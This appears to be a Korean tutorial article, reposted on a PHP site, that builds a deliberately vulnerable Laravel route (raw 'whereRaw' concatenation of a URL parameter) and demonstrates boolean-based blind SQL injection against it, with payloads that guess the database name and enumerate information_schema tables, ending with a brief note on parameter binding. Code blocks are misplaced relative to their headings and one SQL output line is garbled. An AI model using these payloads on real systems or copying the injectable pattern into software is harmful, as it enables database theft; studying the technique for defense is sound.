>  기사  >  PHP 프레임워크  >  Laravel 취약점 예제를 통해 SQL 블라인드 주입 원리를 구문 분석합니다.

Laravel 취약점 예제를 통해 SQL 블라인드 주입 원리를 구문 분석합니다.

WBOY
WBOY앞으로
2022-07-27 10:57:332485검색

이 기사에서는 laravel 취약점을 생성하여 SQL 블라인드 주입의 원리를 설명하는 방법을 주로 소개하는 laravel에 대한 관련 지식을 제공합니다. 소위 블라인드 주입은 서버에 오류 에코가 없을 때 주입이 완료되는 것입니다. 한번 살펴보겠습니다. 모든 사람에게 도움이 되기를 바랍니다. ㅋㅋㅋ

데이터베이스 이름Laravel 취약점 예제를 통해 SQL 블라인드 주입 원리를 구문 분석합니다.

데이터 이름을 맞춰보세요 length

composer create-project laravel/laravel lar9 // 安装laravel9
// 编辑.env  修改为DEBUG=false 配置数据库
DEBUG=false
DB_HOST=....
php artisan migrate
php artisan serve // 启动
// 插入数据
insert into users(`name`,`email`,`password`) values('xxh','4******qq.com','worldhello');
데이터베이스 이름 추측

// routes/web.php
Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = '.$id)->first();
 return $user->name ?? '';
});
// 最后转换的sql是: select * from users where id = $id

마지막으로: laravel_project

테이블 이름

다음 단계는 데이터베이스 추측과 유사하므로 간단하게 설명하겠습니다.

information_schema

information_schema는 mysql과 함께 제공됩니다.

데이터베이스 이름, 테이블 이름, 열 유형 등이 모두 이 데이터베이스에서 나와야 한다고 추측합니다.

laravel_project의 테이블 개수를 맞춰보세요

http://127.0.0.1:8000/?id=1'
// 500
http://127.0.0.1:8000/?id=1 and 1=2
// select * from users where id = 1 and 1=2; 返回空
http://127.0.0.1:8000/?id=1 and 1=1 
// select * from users where id = 1 and 1=1 返回xxh

첫 번째 테이블 이름의 길이를 맞춰보세요

[데이터 이름 길이 추측]보다 많지 않습니다.

첫 번째 테이블 이름 추측하기

url: http://127.0.0.1:8000/?id=1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 2
// 一直循环下去

마지막으로 첫 번째 테이블 이름은 failed_jobs

필드 추측하기

논리는 테이블 추측과 완전히 동일합니다.

从第一步 知道了数据库名长度
`select * from users where id = 1 and substr(database(),1,1) =a` 
`select * from users where id = 1 and substr(database(),1,1) =b` 
// 一直循环下去 找到数据库名的第一个做字符  然后找第二个字符  直到找完数据库名的长度

데이터를 맞춰보세요

데이터 이것이 가장 중요합니다. failed_jobs에는 데이터가 없으므로 사용자로 변경했습니다.

사용자에게는 비밀번호 필드가 있습니다.

url:   http://127.0.0.1:8000/?id=1 and (select count(*) from information_schema.tables where table_schema ="laravel_project" ) = 5
mysql> select count(*) from information_schema.tables where table_schema ="laravel_projeelect count(column_name) from information_schema.columns where table_name= ’usersct";
+----------+
| count(*) |
+----------+
|        5 |
+----------+

...

Defense

(때때로 요구 사항을 충족하지 못하는 곳은 whereRaw가 필요합니다)필요한 경우 바인딩하는 것만 기억하세요.

url:   http://127.0.0.1:8000/?id=1 and ( select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1) = 'f'
mysql> select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1;
+------------------------+
| substr(table_name,1,1) |
+------------------------+
| f                      |
+------------------------+
// 得出第一个表的第一个字段是f  然后查第

프레임워크를 안전하게 사용하는 한 허점은 없을 것입니다.

오래된 프로젝트에는 허점이 가득합니다. 이 시대에는 허점을 찾는 것이 어렵습니다.

Ps

위에서는 단순화를 위해 가장 간단한 검색을 사용했습니다.

수동 블라인드 주입은 이진 검색을 사용해야 합니다.

select count(column_name) from information_schema.columns where table_name= 'failed_jobs'; //  fail_jobs字段总数

직접 스캔하려면 sqlmap 도구를 사용하는 것이 가장 좋습니다. 【관련 추천:

laravel 동영상 튜토리얼

위 내용은 Laravel 취약점 예제를 통해 SQL 블라인드 주입 원리를 구문 분석합니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 learnku.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제